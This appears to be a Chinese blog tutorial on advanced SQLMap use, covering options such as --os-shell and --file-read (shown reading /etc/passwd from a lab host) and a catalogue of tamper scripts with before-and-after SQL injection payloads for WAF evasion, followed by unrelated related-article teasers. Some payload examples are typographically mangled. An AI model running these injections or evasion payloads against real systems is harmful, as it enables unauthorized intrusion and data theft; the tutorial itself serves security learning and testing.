当前位置: 首页 > news >正文

最新SQLMap进阶技术

SQLMap进阶:参数讲解

(1)–level 5:探测等级。

参数“–level 5”指需要执行的测试等级,一共有5个等级(1~5级),可不加“level”,默认是1级。可以在xml/payloads.xml中看到SQLMap使用的Payload,也可以根据相应的格式添加自己的Payload,其中5级包含的Payload最多,会自动破解Cookie、XFF等头部注入。当然,5级的运行速度也比较慢。

这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP Cookie在等级为2时会进行测试,HTTP User-Agent/Referer头在等级为3时会进行测试。总之,在不确定哪个Payload或参数为注入点时,为了保证全面性,建议使用高的等级值。

(2)–is-dba:当前用户是否有管理权限。

该命令用于查看当前账户是否为数据库管理员账户,命令如下:

python sqlmap.py –u “http://10.211.55.6/Less-1/?id=1” --is-dba

在本例中输入该命令,会返回True,如图3-15所示。
在这里插入图片描述

(3)–roles:查看数据库用户的角色。

该命令用于查看数据库用户的角色。如果当前用户有权限读取包含所有用户的表,则输入该命令会列举出每个用户的角色,也可以用参数“-U”指定查看某个用户的角色。该命令仅适用于当前数据库是Oracle时。在本例中输入该命令的结果如图3-16所示。

在这里插入图片描述

(4)–referer:HTTP Referer头。

SQLMap可以在请求中伪造HTTP中的Referer,当参数“–level”设定为3或3以上时,会尝试对Referer注入。可以使用参数“–referer”伪造一个HTTP Referer头,如–referer http://10.211.55.6。

(5)–sql-shell:运行自定义SQL语句。

该命令用于执行指定的SQL语句,命令如下:

python sqlmap.py –u “http://10.211.55.6/Less-1/?id=1” --sql-shell

假设执行“select * from security.users limit 0,2”语句,结果如图3-17所示。

在这里插入图片描述

(6)–os-cmd或–os-shell:运行任意操作系统命令。

当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,可以使用参数“–os-cmd”执行系统命令。如果数据库为MySQL或PostgreSQL,则SQLMap会上传一个二进制库,包含用户自定义的函数sys_exec()和sys_eval(),通过创建的这两个函数就可以执行系统命令。如果数据库为Microsoft SQL Server,则SQLMap将使用xp_cmdshell存储过程执行系统命令。如果xp_cmdshell被禁用(在Microsoft SQL Server 2005及以上版本中默认被禁用),则SQLMap会重新启用它;如果xp_cmdshell不存在,则SQLMap将创建它。

使用参数“–os-shell”可以模拟一个真实的Shell,与服务器进行交互。当不能执行多语句时(如PHP或ASP的后端数据库为MySQL),SQLMap可以通过SELECT语句中的INTO OUTFILE在Web服务器的可写目录中创建Web后门,从而执行命令。参数“–os-shell”支持ASP、ASP.NET、JSP和PHP四种语言。

(7)–file-read:从数据库服务器中读取执行文件。

该命令用于从数据库服务器中读取执行文件。当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。下面以Microsoft SQL Server 2005为例,说明参数“–file-read”的用法,命令如下:

$ python sqlmap.py -u http://10.211.55.6/Less-1/?id=1 --file-read "/etc/passwd" -v 1
[...]
[17:45:15] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.5
[17:45:15] [INFO] fingerprinting the back-end DBMS operating system
[17:45:15] [INFO] the back-end DBMS operating system is Linux
[17:45:15] [INFO] fetching file: '/etc/passwd'
do you want confirmation that the remote file '/etc/passwd' has been successfully downloaded from the back-end DBMS file system? [Y/n] 
[17:45:19] [INFO] the local file '/root/.local/share/sqlmap/output/10.211.55.6/files/_etc_passwd' and the remote file '/etc/passwd' have the same size (1012 B)
files saved to [1]:
[*] /root/.local/share/sqlmap/output/10.211.55.6/files/_etc_passwd (same file)

(8)–file-write和–file-dest:将本地文件写入数据库服务器。

该命令用于将本地文件写入数据库服务器。当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件。下面以一个MySQL的例子说明参数“–file-write”和“–file-dest”的用法,命令如下:

$ python sqlmap.py -u http://10.211.55.6/Less-1/?id=1 --file-write "./1.txt"  --file-dest "/tmp/1.txt" -v 1

SQLMap自带tamper绕过脚本的讲解

为了防止注入语句中出现单引号,SQLMap默认情况下会使用CHAR()函数。除此之外,没有对注入的数据进行其他修改。读者可以通过使用参数“–tamper”对数据做修改来绕过WAF等设备,其中大部分脚本主要用正则模块替换Payload字符编码的方式尝试绕过WAF的检测规则,命令如下:

python sqlmap.py XXXXX --tamper “模块名”

目前,官方提供了多个绕过脚本,下面是一个tamper绕过脚本的格式。

# sqlmap/tamper/escapequotes.pyfrom lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWESTdef dependencies():passdef tamper(payload, **kwargs):return payload.replace("'", "\\'").replace('"', '\\"')

不难看出,最简洁的tamper绕过脚本的结构包含priority变量、dependencies函数和tamper函数。

(1)priority变量定义脚本的优先级,用于有多个tamper绕过脚本的情况。

(2)dependencies函数声明该脚本适用/不适用的范围,可以为空。

下面以一个转大写字符绕过的脚本为例,tamper绕过脚本主要由dependencies和tamper两个函数构成。def tamper(payload,kwargs)函数接收payload和kwargs并返回一个Payload。下面这段代码的意思是通过正则模块匹配所有字符,将所有Payload中的字符转换为大写字母。

def tamper(payload, **kwargs):retVal = payloadif payload:for match in re.finditer(r"[A-Za-z_]+", retVal):word = match.group()if word.upper() in kb.keywords:retVal = retVal.replace(word, word.upper())return retVal

在日常使用中,我们会对一些网站是否有安全防护进行试探,可以使用参数“–identify-waf”进行检测。

下面介绍一些常用的tamper绕过脚本。

(1)apostrophemask.py。

作用:将引号替换为UTF-8格式,用于过滤单引号。

使用脚本前的语句如下:

1 AND ‘1’='1

使用脚本后的语句如下:

AND %EF%BC%871%EF%BC%87=%EF%BC%871

(2)base64encode.py。

作用:将请求参数进行Base64编码。

使用脚本前的语句如下:

1’ AND SLEEP(5)#

使用脚本后的语句如下:

MScgQU5EIFNMRUVQKDUpIw==

(3)multiplespaces.py。

作用:在SQL语句的关键字中间添加多个空格。

使用脚本前的语句如下:

1 UNION SELECT foobar

使用脚本后的语句如下:

1 UNION SELECT foobar

(4)space2plus.py。

作用:用加号(+)替换空格。

使用脚本前的语句如下:

SELECT id FROM users

使用脚本后的语句如下:

SELECT+id+FROM+users

(5)nonrecursivereplacement.py。

作用:作为双重查询语句,用双重语句替代预定义的SQL关键字(适用于非常弱的自定义过滤器,例如将“SELECT”替换为空)。

使用脚本前的语句如下:

1 UNION SELECT 2–

使用脚本后的语句如下:

1 UNIOUNIONN SELESELECTCT 2–

(6)space2randomblank.py。

作用:将空格替换为其他有效字符,例如%09,%0A,%0C,%0D。

使用脚本前的语句如下:

SELECT id FROM users

使用脚本后的语句如下:

SELECT%0Did%0DFROM%0Ausers

(7)unionalltounion.py。

作用:将“UNION ALL SELECT”替换为“UNION SELECT”。

使用脚本前的语句如下:

-1 UNION ALL SELECT

使用脚本后的语句如下:

-1 UNION SELECT

(8)securesphere.py。

作用:追加特制的字符串。

使用脚本前的语句如下:

1 AND 1=1

使用脚本后的语句如下:

1 AND 1=1 and ‘0having’=‘0having’

(9)space2hash.py。

作用:将空格替换为井字号(#),并添加一个随机字符串和换行符。

使用脚本前的语句如下:

1 AND 9227=9227

使用脚本后的语句如下:

1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227

(10)space2mssqlblank.py。

作用:将空格替换为其他空符号。

使用脚本前的语句如下:

SELECT id FROM users

使用脚本后的语句如下。

SELECT%0Eid%0DFROM%07users

(11)space2mssqlhash.py。

作用:将空格替换为井字号(#),并添加一个换行符。

使用脚本前的语句如下:

1 AND 9227=9227

使用脚本后的语句如下:

1%23%0AAND%23%0A9227=9227

(12)between.py。

作用:用“NOT BETWEEN 0 AND”替换大于号(>),用“BETWEEN AND”替换等号(=)。

使用脚本前的语句如下:

1 AND A > B–

使用脚本后的语句如下:

1 AND A NOT BETWEEN 0 AND B–

使用脚本前的语句如下:

1 AND A = B–

使用脚本后的语句如下:

1 AND A BETWEEN B AND B–

(13)percentage.py。

作用:ASP语言允许在每个字符前面添加一个百分号(%)。

使用脚本前的语句如下:

SELECT FIELD FROM TABLE

使用脚本后的语句如下:

%S%E%L%E%C%T%F%I%E%L%D%F%R%O%M%T%A%B%L%E

(14)sp_password.py。

作用:将“sp_password”追加到Payload的未尾。

使用脚本前的语句如下:

1 AND 9227=9227–

使用脚本后的语句如下:

1 AND 9227=9227-- sp_password

(15)charencode.py。

作用:对给定的Payload全部字符使用URL编码(不处理已经编码的字符)。

使用脚本前的语句如下:

SELECT FIELD FROM%20TABLE

使用脚本后的语句如下:

%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

(16)randomcase.py。

作用:在SQL语句中,对关键字进行随机大小写转换。

使用脚本前的语句如下:

INSERT

使用脚本后的语句如下:

InsERt

(17)charunicodeencode.py。

作用:对SQL语句进行字符串unicode编码。

使用脚本前的语句如下:

SELECT FIELD%20FROM TABLE

使用脚本后的语句如下:

%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045

(18)space2comment.py。

作用:将空格替换为“/**/”。

使用脚本前的语句如下:

SELECT id FROM users

使用脚本后的语句如下:

SELECT//id//FROM/**/users

(19)equaltolike.py。

作用:将等号(=)替换为“like”。

使用脚本前的语句如下:

SELECT * FROM users WHERE id=1

使用脚本后的语句如下:

SELECT * FROM users WHERE id LIKE 1

(20)greatest.py。

作用:绕过对“大于号(>)”的过滤,用“GREATEST”替换大于号。

使用脚本前的语句如下:

1 AND A > B

使用脚本后的语句如下:

1 AND GREATEST(A,B+1)=A

测试通过的数据库类型和版本如下。

— MySQL 4、MySQL 5.0和MySQL 5.5。

— Oracle 10g。

— PostgreSQL 8.3、PostgreSQL 8.4和PostgreSQL 9.0。

(21)ifnull2ifisnull.py。

作用:绕过对“IFNULL”的过滤,将类似“IFNULL(A,B)”的数据库语句替换为“IF(ISNULL(A), B, A)”。

使用脚本前的语句如下:

IFNULL(1, 2)

使用脚本后的语句如下:

IF(ISNULL(1),2,1)

该tamper脚本可在MySQL 5.0和MySQL 5.5数据库中使用。

(22)modsecurityversioned.py。

作用:过滤空格,通过MySQL内联注释的方式进行注入。

使用脚本前的语句如下:

1 AND 2>1–

使用脚本后的语句如下:

1 /!30874AND 2>1/–

该tamper脚本可在MySQL 5.0数据库中使用。

(23)space2mysqlblank.py。

作用:将空格替换为其他空白符号。

使用脚本前的语句如下:

SELECT id FROM users

使用脚本后的语句如下:

SELECT%A0id%0BFROM%0Cusers

该tamper脚本可在MySQL 5.1数据库中使用。

(24)modsecurityzeroversioned.py。

作用:通过MySQL内联注释的方式(/!00000/)进行注入。

使用脚本前的语句如下:

1 AND 2>1–

使用脚本后的语句如下:

1 /!00000AND 2>1/–

该tamper脚本可在MySQL 5.0数据库中使用。

(25)space2mysqldash.py。

作用:将空格替换为“–”,并添加一个换行符。

使用脚本前的语句如下。

1 AND 9227=9227

使用脚本后的语句如下。

1–%0AAND–%0A9227=9227

(26)bluecoat.py。

作用:在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等号。

使用脚本前的语句如下:

SELECT id FROM users where id = 1

使用脚本后的语句如下:

SELECT%09id FROM%09users WHERE%09id LIKE 1

该tamper脚本可在MySQL 5.1和SGOS数据库中使用。

(27)versionedkeywords.py。

作用:绕过注释。

使用脚本前的语句如下:

UNION ALL SELECT NULL, NULL,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_ USER() AS CHAR),CHAR(32)),CH/**/AR(58,100,114, 117,58))#

使用脚本后的语句如下:

/!UNION**!ALL**!SELECT**!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58), IFNULL(CAST(CURRENT_USER()/!AS**!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))#

(28)halfversionedmorekeywords.py。

作用:当数据库为MySQL时,绕过防火墙,在每个关键字之前添加MySQL版本的注释。

使用脚本前的语句如下:

value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST (CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa

使用脚本后的语句如下:

value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)),/!0NULL,/!0NULL#/!0AND ‘QDWa’='QDWa

该tamper脚本可在MySQL 4.0.18和MySQL 5.0.22数据库中使用。

(29)space2morehash.py。

作用:将空格替换为井字号(#),并添加一个随机字符串和换行符。

使用脚本前的语句如下:

1 AND 9227=9227

使用脚本后的语句如下:

1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23 lujYFWfv%0A9227=9227

该tamper脚本可在MySQL 5.1.41数据库中使用。

(30)apostrophenullencode.py。

作用:用非法双字节unicode字符替换单引号。

使用脚本前的语句如下:

1 AND ‘1’='1

使用脚本后的语句如下:

1 AND %00%271%00%27=%00%271

(31)appendnullbyte.py。

作用:在有效负荷的结束位置加载零字节字符编码。

使用脚本前的语句如下:

1 AND 1=1

使用脚本后的语句如下:

1 AND 1=1%00

(32)chardoubleencode.py。

作用:对给定的Payload全部字符使用双重URL编码(不处理已经编码的字符)。

使用脚本前的语句如下:

SELECT FIELD FROM%20TABLE

使用脚本后的语句如下:

%2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

(33)unmagicquotes.py。

作用:用一个多字节组合(%bf%27)和末尾通用注释一起替换空格。

使用脚本前的语句如下:

1’ AND 1=1

使用脚本后的语句如下:

1%bf%27–

(34)randomcomments.py。

作用:用“/**/”分割SQL关键字。

使用脚本前的语句如下:

INSERT

使用脚本后的语句如下:

IN//S//ERT

虽然SQLMap自带的tamper绕过脚本可以做很多事情,但实际环境往往比较复杂,tamper绕过脚本无法应对所有情况,因此建议读者在学习如何使用自带的tamper绕过脚本的同时,掌握tamper绕过脚本的编写规则,这样在应对各种实战环境时能更自如。

相关文章:

最新SQLMap进阶技术

SQLMap进阶:参数讲解 (1)–level 5:探测等级。 参数“–level 5”指需要执行的测试等级,一共有5个等级(1~5级),可不加“level”,默认是1级。可以在xml/payloads.xml中看…...

【BurpSuite常用功能介绍】

BurpSuite的使用 1.运行BurpSuite 2.代理设置 打开软件后,我们第一件事就应该去调试软件和浏览器的代理,让BURP能够正常工作抓包 proxy--options,我端口默认使用8080 然后我们打开一个浏览器,进入代理设置 (注意一点&#xff0…...

Leetcode 108. 将有序数组转换为二叉搜索树

108. 将有序数组转换为二叉搜索树 分析 给定一个有序数组,要求转换为二叉搜索树。 数组是有序的,并且要求二叉树。 这里看到数组是有序的,马上想到二分,但是又不需要完全二分 实现。 再复习二叉搜索树的结构特点: 左…...

小匠物联联合亚马逊云助力企业数智化出海

如何让家电企业出海产品数智化之路走上康庄大道?8月25日,亚马逊云科技[创新成长企业专列]这趟上云快车将开往宁波站,助力宁波的制造、软件等企业扬帆起航!现场举办“亚马逊云科技助力企业出海数智沙龙”,小匠物联受邀出席。 会议现…...

(五)k8s实战-配置管理

一、ConfigMap 使用 kubectl create configmap -h 查看示例&#xff0c;构建 configmap 对象 1) 基于文件夹&#xff0c;加载文件夹下所有配置文件&#xff0c;创建 kubectl create configmap <configmapName> --from-file<dirPath>2) 指定配置文件&#xff0c;创…...

GPT---1234

GPT:《Improving Language Understanding by Generative Pre-Training》 下载地址:https://cdn.openai.com/research-covers/language-unsupervised/language_understanding_paper.pdfhttps://cdn.openai.com/research-covers/language-unsupervised/language_understa…...

计算机竞赛 基于大数据的时间序列股价预测分析与可视化 - lstm

文章目录 1 前言2 时间序列的由来2.1 四种模型的名称&#xff1a; 3 数据预览4 理论公式4.1 协方差4.2 相关系数4.3 scikit-learn计算相关性 5 金融数据的时序分析5.1 数据概况5.2 序列变化情况计算 最后 1 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &…...

python进行数据分析:数据预处理

六大数据类型 见python基本功 import numpy as np import pandas as pd数据预处理 缺失值处理 float_data pd.Series([1.2, -3.5, np.nan, 0]) float_data0 1.2 1 -3.5 2 NaN 3 0.0 dtype: float64查看缺失值 float_data.isna()0 False 1 …...

百度Apollo:引领自动驾驶技术的创新与突破

文章目录 前言一、技术创新二、开放合作三、生态建设四、安全可靠性总结 前言 随着科技的迅猛发展&#xff0c;自动驾驶技术正成为未来交通领域的重要发展方向。在这个领域中&#xff0c;百度Apollo作为中国领先的自动驾驶平台&#xff0c;以其卓越的创新能力和开放合作精神&a…...

Python爬虫 异步、缓存技巧

在进行大规模数据抓取时&#xff0c;Python爬虫的速度和效率是至关重要的。本文将介绍如何通过异步请求、缓存和代理池等技巧来优化Python爬虫的速度和性能。我们提供了实用的方案和代码示例&#xff0c;帮助你加速数据抓取过程&#xff0c;提高爬虫的效率。 使用异步请求、缓…...

YOLOv5屏蔽区域检测(选择区域检测)

YOLOv5屏蔽区域检测以及选择区域检测 前期准备labelme选择mask区域 代码改动 前期准备 思路就是通过一个mask掩膜&#xff0c;对我们想要屏蔽或者选择的区域进行遮挡处理&#xff0c;在推理的时候&#xff0c;将有mask掩膜的图像输入&#xff0c;将最后的结果显示在原始图像上…...

记录一次presto sql执行报错 Error executing query的解决办法

在执行presto sql 时报错截图如下&#xff1a; 查看后台执行报错日志&#xff1a; java.sql.SQLException: Error executing query at com.facebook.presto.jdbc.PrestoStatement.internalExecute(PrestoStatement.java:307) at com.facebook.presto.jdbc.PrestoStatement.exe…...

Android Studio开发之路 (五)导入OpenCV以及报错解决

一、步骤 官网下载opencv包&#xff08;我下的是4.7.0&#xff09;并解压&#xff0c;openvc官网 先创建一个空项目&#xff0c;简单跑一下能正常输出helloworld 点击file->new->Import Module选择解压之后的opencv-android-sdk文件夹中的SDk文件夹&#xff0c; modu…...

vue3.3中ref和reactive原理源代码分析

源码是ts编写的,这里部分简化成js便于阅读 function ref(value) {return createRef(value, false) }function createRef(rawValue, shallow) { //shallow是否是浅层定义数据,用于区别ref和shallowRefif (isRef(rawValue)) {//如果已经是ref直接返回源数据return rawValue}retu…...

10.Oracle中decode函数

【函数格式】&#xff1a; decode ( expression, condition_01, result_01, condition_02, result_02, ......, condition_n, result_n, result_default) 【函数说明】&#xff1a; 若表达式expression值与condition_01值匹配&#xff0c;则返回result_01&#xff0c;…...

Podman安装部署kafka和管理界面(快速跑起来)

#1.拉取镜像 podman pull bitnami/zookeeper podman pull bitnami/kafka#2.创建子网 podman network create knet#3.创建zookeeper podman run -itd --name zookeeper-server -p 2181:2181 \ --net knet \ -e ALLOW_ANONYMOUS_LOGINyes \ bitnami/zookeeper:latest#3.1查看z…...

Hbase文档--架构体系

阿丹&#xff1a; 基础概念了解之后了解目标知识的架构体系&#xff0c;就能事半功倍。 架构体系 关键组件介绍&#xff1a; HBase – Hadoop Database&#xff0c;是一个高可靠性、高性能、面向列、可伸缩的分布式存储系统&#xff0c;利用HBase技术可在廉价PC Server上搭建起…...

stm32基于HAL库驱动外部SPI flash制作虚拟U盘

stm32基于HAL库驱动外部SPI flash制作虚拟U盘 &#x1f4cc;参考文章&#xff1a;https://xiaozhuanlan.com/topic/6058234791&#x1f39e;实现效果演示&#xff1a; &#x1f516;上图中的读到的FLASH_ID所指的是针对不同容量&#xff0c;所对应的ID。 //W25X/Q不同容量对应…...

vue3-ts- element-plus新增组件-过滤

新增组件-所有值为空时过滤 <el-form-item label"家庭成员"><divclass"username-box"v-for"(item, index) in form.namelist":key"index"><div>姓名&#xff1a;<el-input v-model"item.name" placeho…...

PostgreSQL SQL优化

Oracle SQL优化 一、在字段里面写的子查询放到from后面&#xff0c;用left join&#xff0c;会大幅提高SQL查询速度。 一、在字段里面写的子查询放到from后面&#xff0c;用left join&#xff0c;会大幅提高SQL查询速度。...

debian12网络静态ip配置-OSSIM 安全漏洞扫描系统平台

本配置适合于服务器上的静态ip配置&#xff0c;该方法简单可靠。 1 临时配置 ifconfig eth0 192.168.1.97 netmask 255.255.255.0 broadcast 192.168.1.255 ip route add default via 192.168.1.1 2 主要的网络配置文件 /etc/network/interfaces /etc/resolv.conf 3 配置…...

微软 Visual Studio 现已内置 Markdown 编辑器,可直接修改预览 .md 文件

Visual Studio Code V1.66.0 中文版 大小&#xff1a;75.30 MB类别&#xff1a;文字处理 本地下载 Markdown 是一种轻量级标记语言&#xff0c;当开发者想要格式化代码但又不想牺牲易读性时&#xff0c;Markdown 是一个很好的解决方案&#xff0c;比如 GitHub 就使用 Markdo…...

阿里云通义千问开源第二波!大规模视觉语言模型Qwen-VL上线魔搭社区

通义千问开源第二波&#xff01;8月25日消息&#xff0c;阿里云推出大规模视觉语言模型Qwen-VL&#xff0c;一步到位、直接开源。Qwen-VL以通义千问70亿参数模型Qwen-7B为基座语言模型研发&#xff0c;支持图文输入&#xff0c;具备多模态信息理解能力。在主流的多模态任务评测…...

在腾讯云服务器OpenCLoudOS系统中安装Jenkins(有图详解)

Jenkins介绍 Jenkins是一个开源软件项目&#xff0c;是基于java开发的一种持续集成工具&#xff0c;用于监控持续重复的工作&#xff0c;旨在提供一个开放易用的软件平台&#xff0c;使软件的持续集成变成可能。 将项目代码的svn地址配置在Jenkins&#xff0c;就可以直接在Je…...

《vue3实战》在created生命周期中运用slice()方法结合element plus组件实现电影评价系统的分页

目录 前言 电影评价系统的分页是什么&#xff1f;它具体的作用体现在哪些方面&#xff1f; 一、slice的含义、语法和作用以及created的作用 slice是什么&#xff1f;slice有什么语法&#xff1f;slice的作用体现在哪些方面&#xff1f; created生命周期的作用&#xff1a;…...

NO.04 MyBatis的各种查询功能

目录 1、查询一个实体类对象 2、查询一个List集合 3、查询单个数据 5、查询多条数据并存储在Map集合中 5.1 方法一&#xff1a;将数据存储在map集合中&#xff0c;再将map集合存储在List集合中 5.2 方法二&#xff1a;将数据存储在map集合中 6、MyBatis中为Java中常用的…...

Spring循环依赖

一、Autowired依赖注入的缓存 二、Resource依赖注入过程 三、循环依赖 singletonObjects&#xff1a;缓存经过了完整生命周期的beanearlySingletonObjects&#xff1a;缓存未经过完整生命周期的bean&#xff0c;如果某个bean出现了循环依赖&#xff0c;就会提前把这个暂时未经过…...

docker以distribution和registry管理个人镜像仓库

目录 一.distribution 1.扩展源下载docker-distribution并启动 2.打标签并认证安全仓库 3.推送到私人仓库 4.拉取镜像 二.registry 1.拉取registry的镜像 2.运行容器并打标签 3.认证安全仓库 4.推送到私人仓库 5.拉取镜像 一.distribution 1.扩展源下载docker-dist…...

2023京东酒类市场数据分析(京东数据开放平台)

根据鲸参谋平台的数据统计&#xff0c;今年7月份京东平台酒类环比集体下滑&#xff0c;接下来我们一起来看白酒、啤酒、葡萄酒的详情数据。 首先来看白酒市场。 鲸参谋数据显示&#xff0c;7月份京东平台白酒的销量为210万&#xff0c;环比下滑约49%&#xff1b;销售额将近19…...

Android中的APK打包与安全

aapt2命令行实现apk打包 apk文件结构 classes.dex&#xff1a;Dex&#xff0c;即Android Dalvik执行文件 AndroidManifest.xml&#xff1a;工程中AndroidManifest.xml编译后得到的二进制xml文件 META-INF&#xff1a;主要保存各个资源文件的SHA1 hash值&#xff0c;用于校验…...

HTTPS单向认证与双向认证

HTTPS单向认证与双向认证 HTTPSCA证书单向认证双向认证 HTTPS Https就是HTTPSSL/TSL的简称。 SSL(Secure Socket Layer 安全套接层)是TCP/IP协议中基于HTTP之下TCP之上的一个可选协议层。 起初HTTP在传输数据时使用的是明文&#xff0c;传输过程中并不安全。网景&#xff08;N…...

(七) ElasticSearch 分词器

1.分词器 分词器是 Elasticsearch 用于将文本拆分为单词&#xff08;词项&#xff09;的组件&#xff0c;以便于搜索和索引。以下是一些关于 Elasticsearch 分词器的常见问题和相关操作的介绍&#xff1a; 1&#xff09;什么是分词器&#xff1f; 分词器是 Elasticsearch 中…...

足球- EDA的历史数据分析并可视化

足球- EDA的历史数据分析并可视化 背景数据介绍探索数据时需要遵循的一些方向:数据处理导入库数据探索 数据可视化赛事分析主客场比分相关性分析时间序列分析 总结 背景 该数据集包括从1872年第一场正式比赛到2023年的44&#xff0c;341场国际足球比赛的结果。比赛范围从FIFA世…...

用正则处理Unicode 编码的文本

Unicode&#xff08;中文&#xff1a;万国码、国际码、统一码、单一码&#xff09;是计算机科学领域里的一项业界标准。它对世界上大部分的文字进行了整理、编码。Unicode 使计算机呈现和处理文字变得简单。 现在的 Unicode 字符分为 17 组编排&#xff0c;每组为一个平面&…...

【分布式技术专题】「OSS中间件系列」从0到1的介绍一下开源对象存储MinIO技术架构

MinIO背景介绍 MinIO创始者是Anand Babu Periasamy, Harshavardhana&#xff08;戒日王&#xff09;等人&#xff0c; Anand是GlusterFS的初始开发者、Gluster公司的创始人与CTO&#xff0c;Harshavardhana曾经是GlusterFS的开发人员&#xff0c;直到2011年红帽收购了Gluster公…...

生成式人工智能的潜在有害影响与未来之路(三)

产品责任法的潜在适用 背景和风险 产品责任是整个二十世纪发展起来的一个法律领域&#xff0c;旨在应对大规模生产的产品可能对社会造成的伤害。这一法律领域侧重于三个主要危害&#xff1a;设计缺陷的产品、制造缺陷的产品和营销缺陷的产品。产品责任法的特点有两个要素&…...

【2023钉钉杯复赛】A题 智能手机用户监测数据分析 Python代码分析

【2023钉钉杯复赛】A题 智能手机用户监测数据分析 Python代码分析 1 题目 一、问题背景 近年来&#xff0c;随着智能手机的产生&#xff0c;发展到爆炸式的普及增长&#xff0c;不仅推动了中 国智能手机市场的发展和扩大&#xff0c;还快速的促进手机软件的开发。近年中国智能…...

Django(5)-视图函数和模板渲染

Django 中的视图的概念是「一类具有相同功能和模板的网页的集合」 在我们的投票应用中&#xff0c;我们需要下列几个视图&#xff1a; 问题索引页——展示最近的几个投票问题。 问题详情页——展示某个投票的问题和不带结果的选项列表。 问题结果页——展示某个投票的结果。 投…...

Windows下 MySql通过拷贝data目录迁移数据库的方法

MySQL数据库的文件目录下图所示&#xff0c; 现举例说明通过COPY文件夹data下数据库文件&#xff0c;进行数据拷贝的步骤&#xff1b;源数据库运行在A服务器上&#xff0c;拷贝到B服务器&#xff0c;假定B服务器上MySQL数据库已经安装完成&#xff0c;为空数据库。 首先进入A服…...

RabbitMQ---订阅模型-Fanout

1、 订阅模型-Fanout Fanout&#xff0c;也称为广播。 流程图&#xff1a; 在广播模式下&#xff0c;消息发送流程是这样的&#xff1a; 1&#xff09; 可以有多个消费者 2&#xff09; 每个消费者有自己的queue&#xff08;队列&#xff09; 3&#xff09; 每个队列都要绑定…...

nginx 中新增url请求参数

1、nginx中新增配置&#xff1a; set $args "$args&参数名参数值"; 示例&#xff1a; set $args "$args&demo1cn_yaojin&demo2123123&myip$remote_addr"; location / {add_header Access-Control-Allow-Origin *;add_header Access-Contro…...

[系统] 电脑突然变卡 / 电脑突然** / 各种突发情况解决思路

今天来公司办公&#xff0c;开机之后发现电脑出现各种问题&#xff0c;死机、卡顿、点什么都加载&#xff0c;甚至开一个文件夹要1分钟才能打开&#xff0c;花了2个小时才解决&#xff0c;走了很多弯路&#xff0c;其实早点想通&#xff0c;5分钟就能解决问题&#xff0c;所以打…...

改进YOLO系列:8.添加SimAM注意力机制

添加SimAM注意力机制 1. SimAM注意力机制论文2. SimAM注意力机制原理3. SimAM注意力机制的配置3.1common.py配置3.2yolo.py配置3.3yaml文件配置1. SimAM注意力机制论文 论文题目:SimAM: A Simple, Parameter-Free Attention Module for Convolutional Neural Network…...

Go与Rust的对比与分析

Rust 和 Go 是两种现代语言&#xff0c;近年来获得了巨大的关注&#xff0c;每种语言都有自己独特的优势和权衡。在这篇文章中&#xff0c;我们将深入探讨 Rust 和 Go 之间的差异&#xff0c;重点关注性能、语言功能和其他关键因素&#xff0c;以帮助您针对您的开发需求做出明智…...

SpingMVC拦截器-异常处理的思路,用户体验不好的地方

1、异常处理机制 1.1 原先我们的异常都是手动的try..catch() 2、他存在着一些缺陷&#xff1a;这里创建了一个Demo的controller,内部有一个show方法&#xff1a; 3、访问内部&#xff0c;我要实现demoshow方法&#xff0c;我们来调用show1和show2的方法&#xff1a; 4、有一…...

【C++设计模式】用动画片《少年骇客》(Ben10)来解释策略模式

2023年8月25日&#xff0c;周五上午 今天上午学习设计模式中的策略模式时&#xff0c;发现这个有点像很多卡通片里面的变身器... #include<iostream>//alien hero是外星英雄的意思 //在《少年骇客》中&#xff0c;主角可以通过变身器变成10种外星英雄 class AlienHero{ …...

软件测试及数据分析处理实训室建设方案

一 、系统概述 软件测试及数据分析处理是软件开发过程中的一项重要测试活动&#xff0c;旨在验证不同软件模块或组件之间的集成与交互是否正常。综合测试确保各个模块按照设计要求正确地协同工作&#xff0c;以实现整个软件系统的功能和性能。以下是软件测试及数据分析处理的一…...

切换Debian的crontab的nano编辑器

Debian的crontab默认的编辑器是nano&#xff0c;用起来很不习惯,怎么才能转回vim呢? 用以下命令便可&#xff1a; #update-alternatives --config editor 出现以下所示的界面&#xff1a; 而后选择8使用/usr/bin/vim就能够了。 PS&#xff1a;若是你发现你的定时没有生效&…...

Spring Cloud Alibaba-Sentinel--服务容错

1 高并发带来的问题 在微服务架构中&#xff0c;我们将业务拆分成一个个的服务&#xff0c;服务与服务之间可以相互调用&#xff0c;但是由于网络 原因或者自身的原因&#xff0c;服务并不能保证服务的100%可用&#xff0c;如果单个服务出现问题&#xff0c;调用这个服务就会出…...

Stable Diffusion 系列教程 | 如何获得更高清优质的AI绘画

